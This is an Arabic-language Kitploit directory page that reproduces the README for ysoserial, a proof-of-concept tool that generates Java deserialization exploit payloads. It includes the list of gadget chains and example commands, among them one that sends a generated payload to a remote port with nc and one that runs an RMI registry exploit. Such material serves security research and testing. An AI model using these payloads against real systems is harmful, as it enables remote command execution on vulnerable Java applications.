Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ysoserial — أداة إثبات مفهوم لتوليد حمولات تستغل إلغاء تسلسل كائنات Java غير الآمن | Kitploit
أدوات/GitHubGitHub/al1ex/ysoserial
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubal1ex/ysoserial

ysoserial

أداة إثبات مفهوم لتوليد حمولات تستغل إلغاء تسلسل كائنات Java غير الآمن

عرض المستودع
2منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ysoserial

GitHub release Travis Build Status Appveyor Build status JitPack

أداة إثبات مفهوم لتوليد حمولات تستغل إلغاء تسلسل كائنات Java غير الآمن.

logo

الوصف

تم إصداره في البداية كجزء من محاضرة AppSecCali 2015 "Marshalling Pickles: كيف سيدمر إلغاء تسلسل الكائنات يومك" مع سلاسل أدوات (gadget chains) لـ Apache Commons Collections (3.x و4.x) وSpring Beans/Core (4.x) وGroovy (2.3.x). تم تحديثه لاحقًا ليشمل سلاسل أدوات إضافية لـ JRE <= 1.7u21 وعدة مكتبات أخرى.

ysoserial هي مجموعة من الأدوات وسلاسل الأدوات (gadget chains) القائمة على البرمجة الموجّهة نحو الخصائص (property-oriented programming) المكتشفة في مكتبات جافا الشائعة، والتي يمكنها، في ظل الظروف المناسبة، استغلال تطبيقات جافا التي تقوم بـ إلغاء تسلسل غير آمن للكائنات. يقوم البرنامج الرئيسي بأخذ أمر يحدده المستخدم ويلفّه في سلسلة الأدوات التي يحددها المستخدم، ثم يسلسل هذه الكائنات إلى stdout. عندما يقوم تطبيق يحتوي على الأدوات المطلوبة في classpath بإلغاء تسلسل هذه البيانات بشكل غير آمن، يتم استدعاء السلسلة تلقائيًا وتنفيذ الأمر على المضيف الذي يعمل عليه التطبيق.

تجدر الإشارة إلى أن الثغرة تكمن في التطبيق الذي يقوم بإلغاء تسلسل غير آمن، وليس في وجود الأدوات (gadgets) على classpath.

إخلاء المسؤولية

تم إنشاء هذا البرنامج لأغراض البحث الأكاديمي وتطوير تقنيات دفاعية فعّالة فقط، وليس المقصود استخدامه لمهاجمة الأنظمة إلا عند التصريح بذلك صراحةً. القائمون على المشروع غير مسؤولين أو ملتزمين قانونيًا عن سوء استخدام البرنامج. استخدمه بمسؤولية.

الاستخدام

root@kitploit:~
$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
       Payload             Authors                                Dependencies
     -------             -------                                ------------
     AspectJWeaver       @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711            bsh:2.0b5
     C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades                      clojure:1.8.0
     CommonsBeanutils1   @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                               commons-collections:3.1
     CommonsCollections2 @frohoff                               commons-collections4:4.0
     CommonsCollections3 @frohoff                               commons-collections:3.1
     CommonsCollections4 @frohoff                               commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner            commons-collections:3.1
     CommonsCollections6 @matthias_kaiser                       commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                              commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                               groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPClient1         @mbechler
     JRMPClient2         @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711            jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser                       js:1.7R2
     MozillaRhino2       @_tint0                                js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                              rome:1.0
     Spring1             @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4

أمثلة

root@kitploit:~
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

التثبيت

GitHub release

حمّل أحدث ملف jar للإصدار من إصدارات GitHub.

البناء

يتطلب Java 1.7+ وMaven 3.x+

mvn clean package -DskipTests

حالة الكود

Build Status Build status

المساهمة

  1. قم بعمل Fork للمستودع
  2. أنشئ فرع الميزة الخاص بك (git checkout -b my-new-feature)
  3. احفظ تغييراتك (git commit -am 'Add some feature')
  4. ادفع إلى الفرع (git push origin my-new-feature)
  5. أنشئ Pull Request جديدًا

انظر أيضًا

  • Java-Deserialization-Cheat-Sheet: معلومات عن الثغرات والأدوات والمدونات/الكتابات التقنية، إلخ.
  • marshalsec: مشروع مشابه لمختلف صيغ/مكتبات إلغاء تسلسل Java
  • ysoserial.net: مشروع مشابه لإلغاء تسلسل .NET
تنزيل الأداة